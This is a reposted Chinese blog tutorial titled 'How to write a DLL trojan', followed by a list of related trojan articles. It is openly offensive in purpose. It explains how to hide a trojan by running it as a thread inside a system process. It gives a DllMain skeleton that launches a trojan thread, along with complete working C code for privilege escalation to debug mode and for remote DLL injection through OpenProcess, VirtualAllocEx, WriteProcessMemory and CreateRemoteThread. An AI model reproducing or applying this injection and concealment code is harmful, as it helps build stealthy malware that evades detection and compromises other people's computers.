DLL木马的写法

转载 2007年09月25日 10:00:00

原文转自:http://www.3800hk.com/news/w45/124211.html

木马运行关键是隐藏,神不知鬼不觉才是王道.要隐藏,先要隐藏进程,Windows操作系统中程序以进程的
方式运行,大多数操作系统也是如此.任务管理器就可以看到当前运行的进程,所以有人HOOK相关枚举进程的函
数,让任务管理器不显示木马进程,也有人把自己的木马注册成服务运行,"任务管理器"不显示服务的.这样做只
是障眼法,进程还是存在的,最好的方法是让进程不存在,让木马作为其他进程的一个线程来运行.Windows操
作系统提出了DLL的概念,其系统API都是通过DLL的形式出现的,应用程序动态链接到DLL来调用API,DLL在
内存中只存在一个副本就可以满足不同应用程序的调用了,因此可以把木马写成DLL文件,让他作为进程的一部
分运行,最好是系统进程的一部分,一般人很难看到一个进程加载了哪些DLL,也就很难发现这种木马(用
IceSword可以看到进程的DLL模块).

一 编写一个DLL木马:

使用IDE : Visual C++ 6.0 Visual Studio.NET 2003/2005都可以.

首先建立一个Win32 Dynamic-Link Library工程.选择 A simple DLL project建立工程,然后就会看到:

BOOL APIENTRY DllMain( HANDLE hModule, // 模块句柄.
DWORD ul_reason_for_call, // 调用标志.
LPVOID lpReserved // 返回数据.
)
{
return TRUE;
}

这个是DLL的入口点函数,只能做一些简单的初始化工作.这个函数和WinMain wWinMain _tWinMain main这四个标准的入口点函数是完全不同的,DllMain会被多次调用,上述四个入口点只被系统调用一次.顺便说一句dll文件结构和exe文件是完全一致的.

DWORD ul_reason_for_call, // 调用标志.

这个参数由系统传递,用于判断调用DllMain函数时候的状态.可能是以下四个常量:

DLL_PROCESS_ATTACH: DLL被进程第一次使用时,就是进程调用LoadLibrary函数时

DLL_THREAD_ATTACH:

DLL_THREAD_DETACH:

DLL_PROCESS_DETACH: DLL被释放的时候

MSDN原文:

DLL_PROCESS_ATTACH
The DLL is being loaded into the virtual address space of the current process as a result of the process starting up or as a result of a call to LoadLibrary. DLLs can use this opportunity to initialize any instance data or to use the TlsAlloc function to allocate a thread local storage (TLS) index.

DLL_THREAD_ATTACH
The current process is creating a new thread. When this occurs, the system calls the entry-point function of all DLLs currently attached to the process. The call is made in the context of the new thread. DLLs can use this opportunity to initialize a TLS slot for the thread. A thread calling the DLL entry-point function with DLL_PROCESS_ATTACH does not call the DLL entry-point function with DLL_THREAD_ATTACH.
Note that a DLL's entry-point function is called with this value only by threads created after the DLL is loaded by the process. When a DLL is loaded using LoadLibrary, existing threads do not call the entry-point function of the newly loaded DLL.

DLL_THREAD_DETACH
A thread is exiting cleanly. If the DLL has stored a pointer to allocated memory in a TLS slot, it should use this opportunity to free the memory. The system calls the entry-point function of all currently loaded DLLs with this value. The call is made in the context of the exiting thread.

DLL_PROCESS_DETACH
The DLL is being unloaded from the virtual address space of the calling process as a result of unsuccessfully loading the DLL, termination of the process, or a call to FreeLibrary. The DLL can use this opportunity to call the TlsFree function to free any TLS indices allocated by using TlsAlloc and to free any thread local data.
Note that the thread that receives the DLL_PROCESS_DETACH notification is not necessarily the same thread that received the DLL_PROCESS_ATTACH notification.

判断:当 ul_reason_for_call 等于 DLL_PROCESS_ATTACH 时就新开一个线程启动木马.记住一定要新开一个线程,不能把DllMain当main函数用.

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 启动木马线程.
CreateThread(NULL,0,MainThread,0,0,0);
break;

case DLL_THREAD_ATTACH:
break;

case DLL_THREAD_DETACH:
break;

case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

DWORD WINAPI MainThread(LPVOID lpParameter)
{
// 这里就是木马的代码了
... ...
}

二 DLL木马的启动:

远程进程插入启动木马:将木马DLL插入运行中的进程空间中,让其运行.

具体做法是先将系统权限提升到DEBUG模式下,因为只有DEBUG模式才能打开进程句柄.然后用OpenProcess函数远程以 PROCESS_Create_THREAD , PROCESS_VM_OPERATION , PROCESS_VM_WRITE
的权限打开要插入的进程,得到进程的句柄.用VirtualAllocEx函数给DLL文件的路径分配内存空间.
用WriteProcessMemory函数将DLL文件内容写入进程空间中.用CreateRemoteThread函数启动就完成
了进程的远程插入.

代码如下:


////////////////////////////////////////////////////////////////////////
// 远程插入线程
// char szDllFullPath[] DLL文件完整路径.
// DWORD dwRemoteProcessID 要插入的进程ID号
// 返回: TRUE 插入进程成功
// FALSE 失败
BOOL InjectDll(char szDllFullPath[],DWORD dwRemoteProcessID)
{
HANDLE hRemoteProcess;
if(EnableDebugPriv(SE_DEBUG_NAME) == 0)
{
return FALSE;
}

// 打开远程线程
if((hRemoteProcess = OpenProcess(PROCESS_Create_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,FALSE,dwRemoteProcessID))== NULL)
{
return FALSE;
}

char * pszLibFileRemote;

// 使用VirtualAllocEx函数在远程进程内存地址空间分配DLL文件名缓冲区
pszLibFileRemote = (char *)VirtualAllocEx( hRemoteProcess,NULL,lstrlen(szDllFullPath)+1,MEM_COMMIT,PAGE_READWRITE);
if(pszLibFileRemote == NULL)
{
return FALSE;
}

if(WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)szDllFullPath,lstrlen(szDllFullPath)+1,NULL) == 0)
{
return FALSE;
}

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA");
if(pfnStartAddr == NULL)
{
return FALSE;
}
// 通过建立远程连接的地址:pfnStartAddr
// 传递参数 pszLibFileRemote 远程启动DLL
// 启动远程线程 LoadLibraryA 通过远程线程调用用户的DLL文件
HANDLE hRemoteThread;
if((hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL)) == NULL)
{
return FALSE;
}
return TRUE;
}

这个函数也会用到的:

////////////////////////////////////////////////////////////////////////
// 获取进程ID号
// 如无此进程则返回 0;
// char szProcName[] 进程名: .exe文件.
DWORD GetProcID(char szProcName[])
{
HANDLE th = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 pe = {sizeof(pe)};
DWORD dwProcID = 0;

BOOL bOK=Process32First(th,&pe);
while(bOK)
{
bOK = Process32Next(th,&pe);

LPCTSTR lpszExeFile = strrchr(pe.szExeFile,'//');
if(lpszExeFile == NULL)
lpszExeFile = pe.szExeFile;
else
lpszExeFile++;

if(strcmp(szProcName,lpszExeFile) == 0)
{
dwProcID = pe.th32ProcessID;
break;
}
}

return dwProcID;
}

////////////////////////////////////////////////////////////////////////
// 提升系统权限到DEBUG模式
int EnableDebugPriv(char szName[])
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;

// 打开进程环令牌
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
{
return 0;
}

if(!LookupPrivilegeValue(NULL,szName,&luid))
{
return 0;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
// 调整权限
if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
{
return 0;
}

return 1;
}

 

相关文章推荐

在Visual C++中实现一个DLL木马

在Visual C++中实现一个DLL木马   写一个木马挂载程序,听起来似乎很玄,其实也很简单,本文将告诉你怎样用Visual C++实现一个侵入木马的程序。本文主要涉及动态链接...

VC++动态链接库编程之DLL木马

从前文可知,DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨...

DLL技术木马进程内幕

很多朋友还是不知道“DLL木马”是什么东东。那到底什么是“DLL木马”呢?它与一般的木马又有什么不同?带着这些疑问,一起开始这次揭密之旅吧!   一、追根溯源从DLL说起    要了解什么是“DLL木...

DLL 木马揭秘[转]

相信经常玩木马的朋友们都会知道一些木马的特性,也会有自己最喜爱的木马,不过,很多朋友依然不知道近年兴起的“DLL木马”为何物。什么是“DLL木马”呢?它与一般的木马有什么不同? 一、从DLL技术...
  • diablof
  • diablof
  • 2013年05月17日 14:00
  • 215

《DLL木马进程内幕大揭秘》

如果是位经常玩“马马”的朋友,那么一般情况下都会或多或少掌握一些木马的特性,然而,很多朋友还是不知道“DLL木马”是什么东东。那到底什么是“DLL木马”呢?它与一般的木马又有什么不同?带着这些疑问,一...

【转】DLL木马程序

http://blog.csdn.net/takeie/archive/2008/07/04/2610198.aspx DLL木马LL32的方法进行进程隐藏是简易的,非常容易被识破的,进程列表中出现...
  • bbo123
  • bbo123
  • 2011年04月08日 20:13
  • 412

使用DLL技术的木马分析

"木马"大家都不陌生,给我们的系统安全带来很大的危害。而且现在的木马采用的技术越来越高,开始采用以".exe或.com"为后缀的可执行文件,但这种技术隐蔽性很差,将木马进程注册为系统服务后,虽然在WI...

DLL木马的原理

DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。 正是DLL程序自身的特点决定了...
  • backbin
  • backbin
  • 2011年03月06日 19:02
  • 264

学会用 VC++ 动态链接库编写 DLL 木马

DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是...

DLL木马

DLL木马线程注入木马也算是个不太新的方式了,但是在当时一度成为了恐慌.因为在进程中隐藏,而所注入的进程又是系统关键进程,无法终止.至于其他的木马神马神马吧,都是浮云. 木马运行关键是...
  • adaidiy
  • adaidiy
  • 2017年03月31日 20:52
  • 187
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:DLL木马的写法
举报原因:
原因补充:

(最多只允许输入30个字)